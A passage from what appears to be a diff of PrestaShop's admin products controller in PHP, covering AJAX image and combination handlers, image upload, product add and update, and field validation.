_PS_JS_DIR_.'jquery/ui/jquery.ui.progressbar.min.js', + _PS_JS_DIR_.'jquery/plugins/timepicker/jquery-ui-timepicker-addon.js' + )); + + $this->addCSS(array( + _PS_JS_DIR_.'jquery/plugins/treeview-categories/jquery.treeview-categories.css', + _PS_JS_DIR_.'jquery/plugins/timepicker/jquery-ui-timepicker-addon.css', + )); + } + } + + /* @todo rename to processaddproductimage */ + public function ajaxProcessAddImage() + { + self::$currentIndex = 'index.php?tab=AdminProducts'; + $allowedExtensions = array('jpeg', 'gif', 'png', 'jpg'); + // max file size in bytes + $uploader = new FileUploader($allowedExtensions, $this->max_image_size); + $result = $uploader->handleUpload(); + if (isset($result['success'])) + { + $obj = new Image((int)$result['success']['id_image']); + + // Associate image to shop from context + $shops = Shop::getContextListShopID(); + $obj->associateTo($shops); + $json_shops = array(); + foreach ($shops as $id_shop) + $json_shops[$id_shop] = true; + + $json = array( + 'name' => $result['success']['name'], + 'status' => 'ok', + 'id'=>$obj->id, + 'path' => $obj->getExistingImgPath(), + 'position' => $obj->position, + 'cover' => $obj->cover, + 'shops' => $json_shops, + ); + @unlink(_PS_TMP_IMG_DIR_.'product_'.(int)$obj->id_product.'.jpg'); + @unlink(_PS_TMP_IMG_DIR_.'product_mini_'.(int)$obj->id_product.'.jpg'); + die(Tools::jsonEncode($json)); + } + else + die(Tools::jsonEncode($result)); + } + + public function ajaxProcessDeleteProductAttribute() + { + if (!Combination::isFeatureActive()) + return; + + if ($this->tabAccess['delete'] === '1') + { + $id_product = (int)Tools::getValue('id_product'); + $id_product_attribute = (int)Tools::getValue('id_product_attribute'); + if ($id_product && Validate::isUnsignedId($id_product) && Validate::isLoadedObject($product = new Product($id_product))) + { + $product->deleteAttributeCombination((int)$id_product_attribute); + $product->checkDefaultAttributes(); + if (!$product->hasAttributes()) + { + $product->cache_default_attribute = 0; + $product->update(); + } + else + Product::updateDefaultAttribute($id_product); + + $json = array( + 'status' => 'ok', + 'message'=> $this->_conf[1] + ); + } + else + $json = array( + 'status' => 'error', + 'message'=> $this->l('You cannot delete this attribute.') + ); + } + else + $json = array( + 'status' => 'error', + 'message'=> $this->l('You do not have permission to delete this.') + ); + + die(Tools::jsonEncode($json)); + } + + public function ajaxProcessDefaultProductAttribute() + { + if ($this->tabAccess['edit'] === '1') + { + if (!Combination::isFeatureActive()) + return; + + if (Validate::isLoadedObject($product = new Product((int)Tools::getValue('id_product')))) + { + $product->deleteDefaultAttributes(); + $product->setDefaultAttribute((int)Tools::getValue('id_product_attribute')); + $json = array( + 'status' => 'ok', + 'message'=> $this->_conf[4] + ); + } + else + $json = array( + 'status' => 'error', + 'message'=> $this->l('You cannot make this the default attribute.') + ); + + die(Tools::jsonEncode($json)); + } + } + + public function ajaxProcessEditProductAttribute() + { + if ($this->tabAccess['edit'] === '1') + { + $id_product = (int)Tools::getValue('id_product'); + $id_product_attribute = (int)Tools::getValue('id_product_attribute'); + if ($id_product && Validate::isUnsignedId($id_product) && Validate::isLoadedObject($product = new Product((int)$id_product))) + { + $combinations = $product->getAttributeCombinationsById($id_product_attribute, $this->context->language->id); + foreach ($combinations as $key => $combination) + $combinations[$key]['attributes'][] = array($combination['group_name'], $combination['attribute_name'], $combination['id_attribute']); + + die(Tools::jsonEncode($combinations)); + } + } + } + + public function ajaxPreProcess() + { + if (Tools::getIsset('update'.$this->table) && Tools::getIsset('id_'.$this->table)) + { + $this->display = 'edit'; + $this->action = Tools::getValue('action'); + } + } + + public function ajaxProcessUpdateProductImageShopAsso() + { + $id_product = Tools::getValue('id_product'); + if (($id_image = Tools::getValue('id_image')) && ($id_shop = (int)Tools::getValue('id_shop'))) + if (Tools::getValue('active') == 'true') + $res = Db::getInstance()->execute('INSERT INTO '._DB_PREFIX_.'image_shop (`id_image`, `id_shop`) VALUES('.(int)$id_image.', '.(int)$id_shop.')'); + else + $res = Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'image_shop WHERE `id_image` = '.(int)$id_image.' AND `id_shop` = '.(int)$id_shop); + + // Clean covers in image table + $count_cover_image = Db::getInstance()->getValue(' + SELECT COUNT(*) FROM '._DB_PREFIX_.'image i + INNER JOIN '._DB_PREFIX_.'image_shop ish ON (i.id_image = ish.id_image AND ish.id_shop = '.(int)$id_shop.') + WHERE i.cover = 1 AND `id_product` = '.(int)$id_product); + + $id_image = Db::getInstance()->getValue(' + SELECT i.`id_image` FROM '._DB_PREFIX_.'image i + INNER JOIN '._DB_PREFIX_.'image_shop ish ON (i.id_image = ish.id_image AND ish.id_shop = '.(int)$id_shop.') + WHERE `id_product` = '.(int)$id_product); + + if ($count_cover_image < 1) + Db::getInstance()->execute('UPDATE '._DB_PREFIX_.'image i SET i.cover = 1 WHERE i.id_image = '.(int)$id_image.' AND i.`id_product` = '.(int)$id_product.' LIMIT 1'); + + if ($count_cover_image > 1) + Db::getInstance()->execute('UPDATE '._DB_PREFIX_.'image i SET i.cover = 0 WHERE i.id_image <> '.(int)$id_image.' AND i.`id_product` = '.(int)$id_product); + + // Clean covers in image_shop table + $count_cover_image_shop = Db::getInstance()->getValue(' + SELECT COUNT(*) + FROM '._DB_PREFIX_.'image_shop ish + INNER JOIN '._DB_PREFIX_.'image i ON (i.id_image = ish.id_image AND i.`id_product` = '.(int)$id_product.') + WHERE ish.id_shop = '.(int)$id_shop.' AND ish.cover = 1'); + + if ($count_cover_image_shop < 1) + Db::getInstance()->execute('UPDATE '._DB_PREFIX_.'image_shop ish SET ish.cover = 1 WHERE ish.id_image = '.(int)$id_image.' AND ish.id_shop = '.(int)$id_shop.' LIMIT 1'); + if ($count_cover_image_shop > 1) + Db::getInstance()->execute('UPDATE '._DB_PREFIX_.'image_shop ish SET ish.cover = 0 WHERE ish.id_image <> '.(int)$id_image.' AND ish.cover = 1 AND ish.id_shop = '.(int)$id_shop.' LIMIT '.intval($count_cover_image_shop - 1)); + + if ($res) + $this->jsonConfirmation($this->_conf[27]); + else + $this->jsonError(Tools::displayError('An error occurred while attempting to associate this image with your shop. ')); + } + + public function ajaxProcessUpdateImagePosition() + { + $res = false; + if ($json = Tools::getValue('json')) + { + $res = true; + $json = stripslashes($json); + $images = Tools::jsonDecode($json, true); + foreach ($images as $id => $position) + { + $img = new Image((int)$id); + $img->position = (int)$position; + $res &= $img->update(); + } + } + if ($res) + $this->jsonConfirmation($this->_conf[25]); + else + $this->jsonError(Tools::displayError('An error occurred while attempting to move this picture.')); + } + + public function ajaxProcessUpdateCover() + { + Image::deleteCover((int)Tools::getValue('id_product')); + $img = new Image((int)Tools::getValue('id_image')); + $img->cover = 1; + + @unlink(_PS_TMP_IMG_DIR_.'product_'.(int)$img->id_product.'.jpg'); + @unlink(_PS_TMP_IMG_DIR_.'product_mini_'.(int)$img->id_product.'.jpg'); + + if ($img->update()) + $this->jsonConfirmation($this->_conf[26]); + else + $this->jsonError(Tools::displayError('An error occurred while attempting to move this picture.')); + } + + public function ajaxProcessDeleteProductImage() + { + $this->display = 'content'; + $res = true; + /* Delete product image */ + $image = new Image((int)Tools::getValue('id_image')); + $this->content['id'] = $image->id; + $res &= $image->delete(); + // if deleted image was the cover, change it to the first one + if (!Image::getCover($image->id_product)) + { + $res &= Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'image_shop` image_shop, '._DB_PREFIX_.'image i + SET image_shop.`cover` = 1, + i.cover = 1 + WHERE image_shop.`id_image` = (SELECT id_image FROM + (SELECT image_shop.id_image + FROM '._DB_PREFIX_.'image i'. + Shop::addSqlAssociation('image', 'i').' + WHERE i.id_product ='.(int)$image->id_product.' LIMIT 1 + ) tmpImage) + AND id_shop='.(int)$this->context->shop->id.' + AND i.id_image = image_shop.id_image + '); + } + + if (file_exists(_PS_TMP_IMG_DIR_.'product_'.$image->id_product.'.jpg')) + $res &= @unlink(_PS_TMP_IMG_DIR_.'product_'.$image->id_product.'.jpg'); + if (file_exists(_PS_TMP_IMG_DIR_.'product_mini_'.$image->id_product.'.jpg')) + $res &= @unlink(_PS_TMP_IMG_DIR_.'product_mini_'.$image->id_product.'.jpg'); + + if ($res) + $this->jsonConfirmation($this->_conf[7]); + else + $this->jsonError(Tools::displayError('An error occurred while attempting to delete the product image.')); + } + + protected function _validateSpecificPrice($id_shop, $id_currency, $id_country, $id_group, $id_customer, $price, $from_quantity, $reduction, $reduction_type, $from, $to, $id_combination = 0) + { + if (!Validate::isUnsignedId($id_shop) || !Validate::isUnsignedId($id_currency) || !Validate::isUnsignedId($id_country) || !Validate::isUnsignedId($id_group) || !Validate::isUnsignedId($id_customer)) + $this->errors[] = Tools::displayError('Wrong IDs'); + elseif ((!isset($price) && !isset($reduction)) || (isset($price) && !Validate::isNegativePrice($price)) || (isset($reduction) && !Validate::isPrice($reduction))) + $this->errors[] = Tools::displayError('Invalid price/discount amount'); + elseif (!Validate::isUnsignedInt($from_quantity)) + $this->errors[] = Tools::displayError('Invalid quantity'); + elseif ($reduction && !Validate::isReductionType($reduction_type)) + $this->errors[] = Tools::displayError('Please select a discount type (amount or percentage).'); + elseif ($from && $to && (!Validate::isDateFormat($from) || !Validate::isDateFormat($to))) + $this->errors[] = Tools::displayError('The from/to date is invalid.'); + elseif (SpecificPrice::exists((int)$this->object->id, $id_combination, $id_shop, $id_group, $id_country, $id_currency, $id_customer, $from_quantity, $from, $to, false)) + $this->errors[] = Tools::displayError('A specific price already exists for these parameters.'); + else + return true; + return false; + } + + /* Checking customs feature */ + protected function checkFeatures($languages, $feature_id) + { + $rules = call_user_func(array('FeatureValue', 'getValidationRules'), 'FeatureValue'); + $feature = Feature::getFeature((int)Configuration::get('PS_LANG_DEFAULT'), $feature_id); + $val = 0; + foreach ($languages as $language) + if ($val = Tools::getValue('custom_'.$feature_id.'_'.$language['id_lang'])) + { + $current_language = new Language($language['id_lang']); + if (Tools::strlen($val) > $rules['sizeLang']['value']) + $this->errors[] = sprintf( + Tools::displayError('The name for feature %1$s is too long in %2$s.'), + ' <b>'.$feature['name'].'</b>', + $current_language->name + ); + elseif (!call_user_func(array('Validate', $rules['validateLang']['value']), $val)) + $this->errors[] = sprintf( + Tools::displayError('A valid name required for feature. %1$s in %2$s.'), + ' <b>'.$feature['name'].'</b>', + $current_language->name + ); + if (count($this->errors)) + return 0; + // Getting default language + if ($language['id_lang'] == Configuration::get('PS_LANG_DEFAULT')) + return $val; + } + return 0; + } + + /** + * Add or update a product image + * + * @param object $product Product object to add image + */ + public function addProductImage($product, $method = 'auto') + { + /* Updating an existing product image */ + if ($id_image = (int)Tools::getValue('id_image')) + { + $image = new Image((int)$id_image); + if (!Validate::isLoadedObject($image)) + $this->errors[] = Tools::displayError('An error occurred while loading the object image.'); + else + { + if (($cover = Tools::getValue('cover')) == 1) + Image::deleteCover($product->id); + $image->cover = $cover; + $this->validateRules('Image'); + $this->copyFromPost($image, 'image'); + if (count($this->errors) || !$image->update()) + $this->errors[] = Tools::displayError('An error occurred while updating the image.'); + elseif (isset($_FILES['image_product']['tmp_name']) && $_FILES['image_product']['tmp_name'] != null) + $this->copyImage($product->id, $image->id, $method); + } + } + if (isset($image) && Validate::isLoadedObject($image) && !file_exists(_PS_PROD_IMG_DIR_.$image->getExistingImgPath().'.'.$image->image_format)) + $image->delete(); + if (count($this->errors)) + return false; + @unlink(_PS_TMP_IMG_DIR_.'product_'.$product->id.'.jpg'); + @unlink(_PS_TMP_IMG_DIR_.'product_mini_'.$product->id.'.jpg'); + return ((isset($id_image) && is_int($id_image) && $id_image) ? $id_image : false); + } + /** + * Copy a product image + * + * @param integer $id_product Product Id for product image filename + * @param integer $id_image Image Id for product image filename + */ + public function copyImage($id_product, $id_image, $method = 'auto') + { + if (!isset($_FILES['image_product']['tmp_name'])) + return false; + if ($error = ImageManager::validateUpload($_FILES['image_product'])) + $this->errors[] = $error; + else + { + $image = new Image($id_image); + + if (!$new_path = $image->getPathForCreation()) + $this->errors[] = Tools::displayError('An error occurred while attempting to create a new folder.'); + if (!($tmpName = tempnam(_PS_TMP_IMG_DIR_, 'PS')) || !move_uploaded_file($_FILES['image_product']['tmp_name'], $tmpName)) + $this->errors[] = Tools::displayError('An error occurred during the image upload process.'); + elseif (!ImageManager::resize($tmpName, $new_path.'.'.$image->image_format)) + $this->errors[] = Tools::displayError('An error occurred while copying the image.'); + elseif ($method == 'auto') + { + $imagesTypes = ImageType::getImagesTypes('products'); + foreach ($imagesTypes as $k => $image_type) + { + if (!ImageManager::resize($tmpName, $new_path.'-'.stripslashes($image_type['name']).'.'.$image->image_format, $image_type['width'], $image_type['height'], $image->image_format)) + $this->errors[] = Tools::displayError('An error occurred while copying image:').' '.stripslashes($image_type['name']); + } + } + + @unlink($tmpName); + Hook::exec('actionWatermark', array('id_image' => $id_image, 'id_product' => $id_product)); + } + } + + protected function updateAssoShop($id_object) + { + //override AdminController::updateAssoShop() specifically for products because shop association is set with the context in ObjectModel + return; + } + + public function processAdd() + { + $this->checkProduct(); + + if (!empty($this->errors)) + { + $this->display = 'add'; + return false; + } + + $this->object = new $this->className(); + $this->_removeTaxFromEcotax(); + $this->copyFromPost($this->object, $this->table); + + if ($this->object->add()) + { + $this->addCarriers(); + $this->updateAccessories($this->object); + $this->updatePackItems($this->object); + $this->updateDownloadProduct($this->object); + + if (empty($this->errors)) + { + $languages = Language::getLanguages(false); + if ($this->isProductFieldUpdated('category_box') && !$this->object->updateCategories(Tools::getValue('categoryBox'))) + $this->errors[] = Tools::displayError('An error occurred while linking the object.').' <b>'.$this->table.'</b> '.Tools::displayError('To categories'); + elseif (!$this->updateTags($languages, $this->object)) + $this->errors[] = Tools::displayError('An error occurred while adding tags.'); + else + { + Hook::exec('actionProductAdd', array('product' => $this->object)); + if (in_array($this->object->visibility, array('both', 'search')) && Configuration::get('PS_SEARCH_INDEXATION')) + Search::indexation(false, $this->object->id); + } + + // Save and preview + if (Tools::isSubmit('submitAddProductAndPreview')) + { + $preview_url = $this->context->link->getProductLink( + $this->getFieldValue($this->object, 'id'), + $this->getFieldValue($this->object, 'link_rewrite', $this->context->language->id), + Category::getLinkRewrite($this->getFieldValue($this->object, 'id_category_default'), $this->context->language->id), + null, + null, + Context::getContext()->shop->id, + 0, + (bool)Configuration::get('PS_REWRITING_SETTINGS') + ); + + if (!$this->object->active) + { + $admin_dir = dirname($_SERVER['PHP_SELF']); + $admin_dir = substr($admin_dir, strrpos($admin_dir, '/') + 1); + $preview_url .= '&adtoken='.$this->token.'&ad='.$admin_dir.'&id_employee='.(int)$this->context->employee->id; + } + + $this->redirect_after = $preview_url; + } + + // Save and stay on same form + if ($this->display == 'edit') + $this->redirect_after = self::$currentIndex.'&id_product='.(int)$this->object->id + .(Tools::getIsset('id_category') ? '&id_category='.(int)Tools::getValue('id_category') : '') + .'&updateproduct&conf=3&key_tab='.Tools::safeOutput(Tools::getValue('key_tab')).'&token='.$this->token; + else + // Default behavior (save and back) + $this->redirect_after = self::$currentIndex + .(Tools::getIsset('id_category') ? '&id_category='.(int)Tools::getValue('id_category') : '') + .'&conf=3&token='.$this->token; + } + else + $this->object->delete(); + // if errors : stay on edit page + $this->display = 'edit'; + } + else + $this->errors[] = Tools::displayError('An error occurred while creating an object.').' <b>'.$this->table.'</b>'; + + return $this->object; + } + + protected function isTabSubmitted($tab_name) + { + if (!is_array($this->submitted_tabs)) + $this->submitted_tabs = Tools::getValue('submitted_tabs'); + + if (is_array($this->submitted_tabs) && in_array($tab_name, $this->submitted_tabs)) + return true; + + return false; + } + + public function processStatus() + { + $this->loadObject(true); + if (!Validate::isLoadedObject($this->object)) + return false; + if (($error = $this->object->validateFields(false, true)) !== true) + $this->errors[] = $error; + if (($error = $this->object->validateFieldsLang(false, true)) !== true) + $this->errors[] = $error; + + return !count($this->errors) ? parent::processStatus() : false; + } + + public function processUpdate() + { + $this->checkProduct(); + + if (!empty($this->errors)) + { + $this->display = 'edit'; + return false; + } + + $id = (int)Tools::getValue('id_'.$this->table); + /* Update an existing product */ + if (isset($id) && !empty($id)) + { + $object = new $this->className((int)$id); + $this->object = $object; + + if (Validate::isLoadedObject($object)) + { + $this->_removeTaxFromEcotax(); + $product_type_before = $object->getType(); + $this->copyFromPost($object, $this->table); + $object->indexed = 0; + + if (Shop::isFeatureActive() && Shop::getContext() != Shop::CONTEXT_SHOP) + $object->setFieldsToUpdate((array)Tools::getValue('multishop_check')); + + if ($object->update()) + { + if (in_array($this->context->shop->getContext(), array(Shop::CONTEXT_SHOP, Shop::CONTEXT_ALL))) + { + if ($this->isTabSubmitted('Shipping')) + $this->addCarriers(); + if ($this->isTabSubmitted('Associations')) + $this->updateAccessories($object); + if ($this->isTabSubmitted('Suppliers')) + $this->processSuppliers(); + if ($this->isTabSubmitted('Features')) + $this->processFeatures(); + if ($this->isTabSubmitted('Combinations')) + $this->processProductAttribute(); + if ($this->isTabSubmitted('Prices')) + { + $this->processPriceAddition(); + $this->processSpecificPricePriorities(); + } + if ($this->isTabSubmitted('Customization')) + $this->processCustomizationConfiguration(); + if ($this->isTabSubmitted('Attachments')) + $this->processAttachments(); + + $this->updatePackItems($object); + // Disallow avanced stock management if the product become a pack + if ($product_type_before == Product::PTYPE_SIMPLE && $object->getType() == Product::PTYPE_PACK) + StockAvailable::setProductDependsOnStock((int)$object->id, false); + $this->updateDownloadProduct($object, 1); + $this->updateTags(Language::getLanguages(false), $object); + + if ($this->isProductFieldUpdated('category_box') && !$object->updateCategories(Tools::getValue('categoryBox'))) + $this->errors[] = Tools::displayError('An error occurred while linking the object.').' <b>'.$this->table.'</b> '.Tools::displayError('To categories'); + } + + if ($this->isTabSubmitted('Warehouses')) + $this->processWarehouses(); + if (empty($this->errors)) + { + Hook::exec('actionProductUpdate', array('product' => $object)); + + if (in_array($object->visibility, array('both', 'search')) && Configuration::get('PS_SEARCH_INDEXATION')) + Search::indexation(false, $object->id); + + // Save and preview + if (Tools::isSubmit('submitAddProductAndPreview')) + { + $preview_url = $this->context->link->getProductLink( + $this->getFieldValue($object, 'id'), + $this->getFieldValue($object, 'link_rewrite', $this->context->language->id), + Category::getLinkRewrite($this->getFieldValue($object, 'id_category_default'), $this->context->language->id), + null, + null, + Context::getContext()->shop->id, + 0, + (bool)Configuration::get('PS_REWRITING_SETTINGS') + ); + + if (!$object->active) + { + $admin_dir = dirname($_SERVER['PHP_SELF']); + $admin_dir = substr($admin_dir, strrpos($admin_dir, '/') + 1); + if (strpos($preview_url, '?') === false) + $preview_url .= '?'; + else + $preview_url .= '&'; + $preview_url .= 'adtoken='.$this->token.'&ad='.$admin_dir.'&id_employee='.(int)$this->context->employee->id; + } + $this->redirect_after = $preview_url; + } + else + { + // Save and stay on same form + if ($this->display == 'edit') + { + $this->confirmations[] = $this->l('Update successful'); + $this->redirect_after = self::$currentIndex.'&id_product='.(int)$this->object->id + .(Tools::getIsset('id_category') ? '&id_category='.(int)Tools::getValue('id_category') : '') + .'&updateproduct&conf=4&key_tab='.Tools::safeOutput(Tools::getValue('key_tab')).'&token='.$this->token; + } + else + // Default behavior (save and back) + $this->redirect_after = self::$currentIndex.(Tools::getIsset('id_category') ? '&id_category='.(int)Tools::getValue('id_category') : '').'&conf=4&token='.$this->token; + } + } + // if errors : stay on edit page + else + $this->display = 'edit'; + } + else + $this->errors[] = Tools::displayError('An error occurred while updating an object.').' <b>'.$this->table.'</b> ('.Db::getInstance()->getMsgError().')'; + } + else + $this->errors[] = Tools::displayError('An error occurred while updating an object.').' <b>'.$this->table.'</b> ('.Tools::displayError('The object cannot be loaded. ').')'; + return $object; + } + } + + /** + * Check that a saved product is valid + */ + public function checkProduct() + { + $className = 'Product'; + // @todo : the call_user_func seems to contains only statics values (className = 'Product') + $rules = call_user_func(array($this->className, 'getValidationRules'), $this->className); + $default_language = new Language((int)Configuration::get('PS_LANG_DEFAULT')); + $languages = Language::getLanguages(false); + + // Check required fields + foreach ($rules['required'] as $field) + { + if (!$this->isProductFieldUpdated($field)) + continue; + + if (($value = Tools::getValue($field)) == false && $value != '0') + { + if (Tools::getValue('id_'.$this->table) && $field == 'passwd') + continue; + $this->errors[] = sprintf( + Tools::displayError('The %s field is required.'), + call_user_func(array($className, 'displayFieldName'), $field, $className) + ); + } + } + + // Check multilingual required fields + foreach ($rules['requiredLang'] as $fieldLang) + if ($this->isProductFieldUpdated($fieldLang, $default_language->id) && !Tools::getValue($fieldLang.'_'.$default_language->id)) + $this->errors[] = sprintf( + Tools::displayError('This %1$s field is required at least in %2$s'), + call_user_func(array($className, 'displayFieldName'), $fieldLang, $className), + $default_language->name + ); + + // Check fields sizes + foreach ($rules['size'] as $field => $maxLength) + if ($this->isProductFieldUpdated($field) && ($value = Tools::getValue($field)) && Tools::strlen($value) > $maxLength) + $this->errors[] = sprintf( + Tools::displayError('The %1$s field is too long (%2$d chars max).'), + call_user_func(array($className, 'displayFieldName'), $field, $className), + $maxLength + ); + + if (Tools::getIsset('description_short') && $this->isProductFieldUpdated('description_short')) + { + $saveShort = Tools::getValue('description_short'); + $_POST['description_short'] = strip_tags(Tools::getValue('description_short')); + } + + // Check description short size without html + $limit = (int)Configuration::get('PS_PRODUCT_SHORT_DESC_LIMIT'); + if ($limit <= 0) $limit = 400; + foreach ($languages as $language) + if ($this->isProductFieldUpdated('description_short', $language['id_lang']) && ($value = Tools::getValue('description_short_'.$language['id_lang']))) + if (Tools::strlen(strip_tags($value)) > $limit) + $this->errors[] = sprintf( + Tools::displayError('This %1$s field (%2$s) is too long: %3$d chars max (current count %4$d).'), + call_user_func(array($className, 'displayFieldName'), 'description_short'), + $language['name'], + $limit, + Tools::strlen(strip_tags($value)) + ); + + // Check multilingual fields sizes + foreach ($rules['sizeLang'] as $fieldLang => $maxLength) + foreach ($languages as $language) + { + $value = Tools::getValue($fieldLang.'_'.$language['id_lang']); + if ($value && Tools::strlen($value) > $maxLength) + $this->errors[] = sprintf( + Tools::displayError('The %1$s field is too long (%2$d chars max).'), + call_user_func(array($className, 'displayFieldName'), $fieldLang, $className), + $maxLength + ); + } + + if ($this->isProductFieldUpdated('description_short') && isset($_POST['description_short'])) + $_POST['description_short'] = $saveShort; + + // Check fields validity + foreach ($rules['validate'] as $field => $function) + if ($this->isProductFieldUpdated($field) && ($value = Tools::getValue($field))) + if (!Validate::$function($value)) + $this->errors[] = sprintf( + Tools::displayError('The %s field is invalid.'), + call_user_func(array($className, 'displayFieldName'), $field, $className) + ); + + // Check multilingual fields validity + foreach ($rules['validateLang'] as $fieldLang => $function) + foreach ($languages as $language) + if ($this->isProductFieldUpdated('description_short', $language['id_lang']) && ($value = Tools::getValue($fieldLang.'_'.$language['id_lang']))) + if (!Validate::$function($value)) + $this->errors[] = sprintf( + Tools::displayError('The %1$s field (%2$s) is invalid.'), + call_user_func(array($className, 'displayFieldName'), $fieldLang, $className), + $language['name'] + ); + + // Categories + if ($this->isProductFieldUpdated('id_category_default') && (!Tools::isSubmit('categoryBox') || !count(Tools::getValue('categoryBox')))) + $this->errors[] = $this->l('Products must be in at least one category.'); + + if ($this->isProductFieldUpdated('id_category_default') && (!is_array(Tools::getValue('categoryBox')) || !in_array(Tools::getValue('id_category_default'), Tools::getValue('categoryBox')))) + $this->errors[] = $this->l('This product must be in the default category.'); + + // Tags + foreach ($languages as $language) + if ($value = Tools::getValue('tags_'.$language['id_lang'])) + if (!Validate::isTagsList($value)) + $this->errors[] = sprintf( + Tools::displayError('The tags list (%s) is invalid.'), + $language['name'] + ); + } + + /** + * Check if a field is edited (if the checkbox is checked) + * This method will do something only for multishop with a context all / group + * + * @param string $field Name of field + * @param int $id_lang + * @return bool + */ + protected function isProductFieldUpdated($field, $id_lang = null) + { + // Cache this condition to improve performances + static $is_activated = null; + if (is_null($is_activated)) + $is_activated = Shop::isFeatureActive() && Shop::getContext() != Shop::CONTEXT_SHOP && $this->id_object; + + if (!$is_activated) + return true; + + if (is_null($id_lang)) + return !empty($_POST['multishop_check'][$field]); + else + return !empty($_POST['multishop_check'][$field][$id_lang]); + } + + protected function _removeTaxFromEcotax() + { + $ecotaxTaxRate = Tax::getProductEcotaxRate(); + if ($ecotax = Tools::getValue('ecotax')) + $_POST['ecotax'] = Tools::ps_round(Tools::getValue('ecotax') / (1 + $ecotaxTaxRate / 100), 6); + } + + protected function _applyTaxToEcotax($product) + { + $ecotaxTaxRate = Tax::getProductEcotaxRate(); + if ($product->ecotax) + $product->ecotax = Tools::ps_round($product->ecotax * (1 + $ecotaxTaxRate / 100), 2); + } + + /** + * Update product download + * + * @param object $product Product + * @return bool + */ + public function updateDownloadProduct($product, $edit = 0) + { + $is_virtual_file = (int)Tools::getValue('is_virtual_file'); + // add or update a virtual product + if (Tools::getValue('is_virtual_good') == 'true') + { + $product->setDefaultAttribute(0);//reset cache_default_attribute + if (Tools::getValue('virtual_product_expiration_date') && !Validate::isDate(Tools::getValue('virtual_product_expiration_date') && !empty($is_virtual_file))) + { + if (!Tools::getValue('virtual_product_expiration_date')) + { + $this->errors[] = Tools::displayError('The expiration-date attribute is required.'); + return false; + } + } + + // Trick's + if ($edit == 1) + { + $id_product_download = (int)ProductDownload::getIdFromIdProduct((int)$product->id); + if (!$id_product_download) + $id_product_download = (int)Tools::getValue('virtual_product_id'); + } + else + $id_product_download = Tools::getValue('virtual_product_id'); + + $is_shareable = Tools::getValue('virtual_product_is_shareable'); + $virtual_product_name = Tools::getValue('virtual_product_name'); + $virtual_product_filename = Tools::getValue('virtual_product_filename'); + $virtual_product_nb_days = Tools::getValue('virtual_product_nb_days'); + $virtual_product_nb_downloable = Tools::getValue('virtual_product_nb_downloable'); + $virtual_product_expiration_date = Tools::getValue('virtual_product_expiration_date'); + + if ($virtual_product_filename) + $filename = $virtual_product_filename; + else + $filename = ProductDownload::getNewFilename(); + + $download = new ProductDownload((int)$id_product_download); + $download->id_product = (int)$product->id; + $download->display_filename = $virtual_product_name; + $download->filename = $filename; + $download->date_add = date('Y-m-d H:i:s'); + $download->date_expiration = $virtual_product_expiration_date ? $virtual_product_expiration_date.' 23:59:59' : ''; + $download->nb_days_accessible = (int)$virtual_product_nb_days; + $download->nb_downloadable = (int)$virtual_product_nb_downloable; + $download->active = 1; + $download->is_shareable = (int)$is_shareable; + + if ($download->save()) + return true; + } + else + { + /* unactive download product if checkbox not checked */ + if ($edit == 1) + { + $id_product_download = (int)ProductDownload::getIdFromIdProduct((int)$product->id); + if (!$id_product_download) + $id_product_download = (int)Tools::getValue('virtual_product_id'); + } + else + $id_product_download = ProductDownload::getIdFromIdProduct($product->id); + + if (!empty($id_product_download)) + { + $product_download = new ProductDownload((int)$id_product_download); + $product_download->date_expiration = date('Y-m-d H:i:s', time() - 1); + $product_download->active = 0; + return $product_download->save(); + } + } + return false; + } + + /** + * Update product accessories + * + * @param object $product Product + */ + public function updateAccessories($product) + { + $product->deleteAccessories(); + if ($accessories = Tools::getValue('inputAccessories')) + { + $accessories_id = array_unique(explode('-', $accessories)); + if (count($accessories_id)) + { + array_pop($accessories_id); + $product->changeAccessories($accessories_id); + } + } + } + + /** + * Update product tags + * + * @param array Languages + * @param object $product Product + * @return boolean Update result + */ + public function updateTags($languages, $product) + { + $tag_success = true; + /* Reset all tags for THIS product */ + if (!Tag::deleteTagsForProduct((int)$product->id)) + $this->errors[] = Tools::displayError('An error occurred while attempting to delete previous tags.'); + /* Assign tags to this product */ + foreach ($languages as $language) + if ($value = Tools::getValue('tags_'.$language['id_lang'])) + $tag_success &= Tag::addTags($language['id_lang'], (int)$product->id, $value); + + if (!$tag_success) + $this->errors[] = Tools::displayError('An error occurred while adding tags.'); + + return $tag_success; + } + + public function initContent($token = null) + { + if ($this->display == 'edit' || $this->display == 'add') + { + $this->fields_form = array(); + + // Check if Module + if (substr($this->tab_display, 0, 6) == 'Module') + { + $this->tab_display_module = strtolower(substr($this->tab_display, 6, Tools::strlen($this->tab_display) - 6)); + $this->tab_display = 'Modules'; + } + if (method_exists($this, 'initForm'.$this->tab_display)) + $this->tpl_form = strtolower($this->tab_display).'.tpl'; + + if ($this->ajax) + $this->content_only = true; + else + { + $product_tabs = array(); + + // tab_display defines which tab to display first + if (!method_exists($this, 'initForm'.$this->tab_display)) + $this->tab_display = $this->default_tab; + + $advanced_stock_management_active = Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT'); + $stock_management_active = Configuration::get('PS_STOCK_MANAGEMENT'); + + foreach ($this->available_tabs as $product_tab => $value) + { + // if it's the warehouses tab and advanced stock management is disabled, continue + if ($advanced_stock_management_active == 0 && $product_tab == 'Warehouses') + continue; + + $product_tabs[$product_tab] = array( + 'id' => $product_tab, + 'selected' => (strtolower($product_tab) == strtolower($this->tab_display) || (isset($this->tab_display_module) && 'module'.$this->tab_display_module == Tools::strtolower($product_tab))), + 'name' => $this->available_tabs_lang[$product_tab], + 'href' => $this->context->link->getAdminLink('AdminProducts').'&id_product='.(int)Tools::getValue('id_product').'&action='.$product_tab, + ); + } + $this->tpl_form_vars['product_tabs'] = $product_tabs; + } + } + else + { + if ($id_category = (int)$this->id_current_category) + self::$currentIndex .= '&id_category='.(int)$this->id_current_category; + + // If products from all categories are displayed, we don't want to use sorting by position + if (!$id_category) + { + $this->_defaultOrderBy = $this->identifier; + if ($this->context->cookie->{$this->table.'Orderby'} == 'position') + { + unset($this->context->cookie->{$this->table.'Orderby'}); + unset($this->context->cookie->{$this->table.'Orderway'}); + } + } + if (!$id_category) + $id_category = 1; + $this->tpl_list_vars['is_category_filter'] = (bool)$this->id_current_category; + + // Generate category selection tree + $helper = new Helper(); + $this->tpl_list_vars['category_tree'] = $helper->renderCategoryTree(null, array((int)$id_category), 'categoryBox', true, false, array(), false, true); + + // used to build the new url when changing category + $this->tpl_list_vars['base_url'] = preg_replace('#&id_category=[0-9]*#', '', 